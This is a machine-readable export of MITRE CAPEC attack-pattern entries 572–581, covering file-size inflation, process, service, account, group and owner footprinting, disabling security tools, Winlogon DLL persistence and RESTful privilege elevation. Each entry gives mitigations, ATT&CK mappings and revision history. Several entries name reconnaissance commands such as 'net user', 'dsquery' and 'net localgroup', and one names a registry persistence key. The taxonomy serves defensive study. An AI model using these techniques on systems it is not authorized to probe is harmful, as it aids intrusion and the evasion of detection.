#indModificationModification32550 + Modification_32550 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32556 + Modification_32556 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-572 + Artificially Inflate File Sizes + + + + + + + + + 572 + + + + + Artificially Inflate File Sizes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary modifies file contents by adding data to files for several reasons. Many different attacks could “follow” this pattern resulting in numerous outcomes. Adding data to a file could also result in a Denial of Service condition for devices with limited storage capacity.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32572 + Related_Attack_Pattern_32572 + + + + + + + + + + + + + + 165 + + + + + + + + + + + + #indConsequenceConsequence32575 + Consequence_32575 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32580 + Consequence_32580 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary could potentially increase file sizes on devices containing limited storage resources, such as SCADA or IOT devices, resulting in denial of service conditions.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationBinaryPadding + Obfuscated Files or Information:Binary Padding + + + + + + + + + + + + + + 1027.001 + + + + + Obfuscated Files or Information:Binary Padding + + + + + + + + + + + + #indContentHistoryContentHistory32596 + Content_History_32596 + + + + + + + + + + + + + + + + #indSubmissionSubmission32597 + Submission_32597 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32602 + Modification_32602 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32608 + Modification_32608 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32614 + Modification_32614 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Description, Example_Instances, Likelihood_Of_Attack, Taxonomy_Mappings, Typical_Severity + + + + + + + + + + + + #indModificationModification32620 + Modification_32620 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-573 + Process Footprinting + + + + + + + + + 573 + + + + + Process Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32633 + Related_Attack_Pattern_32633 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32641 + Consequence_32641 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32645 + Consequence_32645 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire process information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On a Windows system, the command, "tasklist," displays information about processes. The same function on a Mac OS system is done with the command, "ps."</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In addition to manual discovery of running processes, an adversary can develop malware that carries out this attack pattern before subsequent malicious action.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingProcessDiscovery + Process Discovery + + + + + + + + + + + + + + 1057 + + + + + Process Discovery + + + + + + + + + + + + #indContentHistoryContentHistory32669 + Content_History_32669 + + + + + + + + + + + + + + + + #indSubmissionSubmission32670 + Submission_32670 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32675 + Modification_32675 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification32681 + Modification_32681 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32687 + Modification_32687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification32693 + Modification_32693 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-574 + Services Footprinting + + + + + + + + + 574 + + + + + Services Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32706 + Related_Attack_Pattern_32706 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32714 + Consequence_32714 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32718 + Consequence_32718 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire service information and block them by using a software restriction policy or tools that restrict program execution by uaing a process allowlist.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemServiceDiscovery + System Service Discovery + + + + + + + + + + + + + + 1007 + + + + + System Service Discovery + + + + + + + + + + + + #indContentHistoryContentHistory32738 + Content_History_32738 + + + + + + + + + + + + + + + + #indSubmissionSubmission32739 + Submission_32739 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32744 + Modification_32744 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification32750 + Modification_32750 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32756 + Modification_32756 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification32762 + Modification_32762 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-575 + Account Footprinting + + + + + + + + + 575 + + + + + Account Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32775 + Related_Attack_Pattern_32775 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32783 + Consequence_32783 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32787 + Consequence_32787 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire account information and block them by using a software restriction policy or tools that restrict program execution by uysing a process allowlist.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingAccountDiscovery + Account Discovery + + + + + + + + + + + + + + 1087 + + + + + Account Discovery + + + + + + + + + + + + #indContentHistoryContentHistory32807 + Content_History_32807 + + + + + + + + + + + + + + + + #indSubmissionSubmission32808 + Submission_32808 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32813 + Modification_32813 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification32819 + Modification_32819 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32825 + Modification_32825 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification32831 + Modification_32831 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-576 + Group Permission Footprinting + + + + + + + + + 576 + + + + + Group Permission Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32845 + Related_Attack_Pattern_32845 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32853 + Consequence_32853 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32857 + Consequence_32857 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs (such as "net") that may be used to enumerate local group permissions and block them by using a software restriction Policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingPermissionGroupsDiscovery + Permission Groups Discovery + + + + + + + + + + + + + + 1069 + + + + + Permission Groups Discovery + + + + + + + + + + + + #indTaxonomyMappingGroupPolicyDiscovery + Group Policy Discovery + + + + + + + + + + + + + + 1615 + + + + + Group Policy Discovery + + + + + + + + + + + + #indContentHistoryContentHistory32881 + Content_History_32881 + + + + + + + + + + + + + + + + #indSubmissionSubmission32882 + Submission_32882 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32887 + Modification_32887 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification32893 + Modification_32893 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32899 + Modification_32899 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification32905 + Modification_32905 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification32911 + Modification_32911 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-577 + Owner Footprinting + + + + + + + + + 577 + + + + + Owner Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32924 + Related_Attack_Pattern_32924 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Administrator permissions are required to view the home folder of other users.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32933 + Consequence_32933 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32937 + Consequence_32937 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that proper permissions on files and folders are enacted to limit accessibility.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemOwnerOrUserDiscovery + System Owner/User Discovery + + + + + + + + + + + + + + 1033 + + + + + System Owner/User Discovery + + + + + + + + + + + + #indContentHistoryContentHistory32957 + Content_History_32957 + + + + + + + + + + + + + + + + #indSubmissionSubmission32958 + Submission_32958 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32963 + Modification_32963 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification32969 + Modification_32969 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32975 + Modification_32975 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-578 + Disable Security Software + + + + + + + + + 578 + + + + + Disable Security Software + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32989 + Related_Attack_Pattern_32989 + + + + + + + + + + + + + + 176 + + + + + 437 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the capability to interact with the configuration of the targeted system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33001 + Consequence_33001 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By disabling certain security tools, the adversary can hide malicious activity and avoid detection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure proper permissions are in place to prevent adversaries from altering the execution status of security tools.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingModifyAuthenticationProcessMultiFactorAuthentication + Modify Authentication Process: Multi-Factor Authentication + + + + + + + + + + + + + + 1556.006 + + + + + Modify Authentication Process: Multi-Factor Authentication + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableOrModifyTools + Impair Defenses: Disable or Modify Tools + + + + + + + + + + + + + + 1562.001 + + + + + Impair Defenses: Disable or Modify Tools + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableWindowsEventLogging + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + + + 1562.002 + + + + + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableOrModifySystemFirewall + Impair Defenses: Disable or Modify System Firewall + + + + + + + + + + + + + + 1562.004 + + + + + Impair Defenses: Disable or Modify System Firewall + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableOrModifyCloudFirewall + Impair Defenses: Disable or Modify Cloud Firewall + + + + + + + + + + + + + + 1562.007 + + + + + Impair Defenses: Disable or Modify Cloud Firewall + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableCloudLogs + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + + + 1562.008 + + + + + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesSafeModeBoot + Impair Defenses: Safe Mode Boot + + + + + + + + + + + + + + 1562.009 + + + + + Impair Defenses: Safe Mode Boot + + + + + + + + + + + + #indContentHistoryContentHistory33043 + Content_History_33043 + + + + + + + + + + + + + + + + #indSubmissionSubmission33044 + Submission_33044 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification33049 + Modification_33049 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification33055 + Modification_33055 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification33061 + Modification_33061 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33067 + Modification_33067 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33073 + Modification_33073 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33079 + Modification_33079 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-579 + Replace Winlogon Helper DLL + + + + + + + + + 579 + + + + + Replace Winlogon Helper DLL + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33091 + Related_Attack_Pattern_33091 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Changes to registry entries in "HKLM\\Software\\Microsoft\\Windows NT\\Winlogon\\Notify" that do not correlate with known software, patch cycles, etc are suspicious. New DLLs written to System32 which do not correlate with known good software or patching may be suspicious.</xhtml:div> + + + + + 15 + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecutionWinlogonHelperDLL + Boot or Logon Autostart Execution: Winlogon helper DLL + + + + + + + + + + + + + + 1547.004 + + + + + Boot or Logon Autostart Execution: Winlogon helper DLL + + + + + + + + + + + + #indContentHistoryContentHistory33105 + Content_History_33105 + + + + + + + + + + + + + + + + #indSubmissionSubmission33106 + Submission_33106 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification33111 + Modification_33111 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33117 + Modification_33117 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-58 + Restful Privilege Elevation + + + + + + + + + 58 + + + + + Restful Privilege Elevation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33134 + Related_Attack_Pattern_33134 + + + + + + + + + + + + + + 1 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33135 + Related_Attack_Pattern_33135 + + + + + + + + + + + + + + 180 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker needs to be able to identify HTTP Get URLs. The Get methods must be set to call applications that perform operations other than get such as update and delete.</xhtml:div> + + + + + + + + + + + + #indSkillSkill33143 + Skill_33143 + + + + + + + + + + + + + + It is relatively straightforward to identify an HTTP Get method that changes state on the server side and executes against an over-privileged system interface + + + + + + + + + + + + #indConsequenceConsequence33146 + Consequence_33146 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence33150 + Consequence_33150 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure that HTTP Get methods only retrieve state and do not alter state on the server side</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure that HTTP methods have proper ACLs based on what the functionality they expose</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The HTTP Get method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP Get request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP Get requests. These HTTP Get methods do delete data on the server side, despite being called from Get which is not supposed to alter state.</xhtml:div> + + + + + 267 + + + + + 269 + + + + + + + + + + + + #indReferenceReference33170 + Reference_33170 + + + + + + + + + REF-463 + + + + + + + + + + + + #indContentHistoryContentHistory33172 + Content_History_33172 + + + + + + + + + + + + + + + + #indSubmissionSubmission33173 + Submission_33173 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification33178 + Modification_33178 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33184 + Modification_33184 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33190 + Modification_33190 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33196 + Modification_33196 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification33202 + Modification_33202 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-580 + System Footprinting + + + + + + + + + 580 + + + + + System Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33215 + Related_Attack_Pattern_33215 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have logical access to the target network and system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill33223 + Skill_33223 + + + + + + + + + + + + + + The adversary needs to know basic linux commands. + + + + + + + + + + + + #indConsequenceConsequence33226 + Consequence_33226 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Keep patches up to date by installing weekly or daily if possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire peripheral information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + 204 + + + + + 205 + + + + + 208 + + + + + + + + + + + + #indTaxonomyMappingSystemInformationDiscovery + System Information Discovery + + + + + + + + + + + + + + 1082 + + + + + System Information Discovery + + + + + + + + + + + + #indContentHistoryContentHistory33246 + Content_History_33246 + + + + + + + + + + + + + + + + #indSubmissionSubmission33247 + Submission_33247 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification33252 + Modification_33252 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification33258 + Modification_33258 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33264 + Modification_33264 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33270 + Modification_33270 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Description + + + + + + + + + + + + #indModificationModification33276 + Modification_33276 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33282 + Modification_33282 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName33288 + Previous_Entry_Name_33288 + + + + + + + + + 2020-12-17 + + + + + Application Footprinting + + + + + + + + + + + + #CAPEC-581 + Security Software Footprinting + + + + + + + + + 581 + + + + + Security Software Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries may attempt to get a listing of security tools that are installed on the system and their configurations. This may include security related system features (such as a built-in firewall or anti-spyware) as well as third-party security software.</xhtml:div> + + + + + + + + + + + + 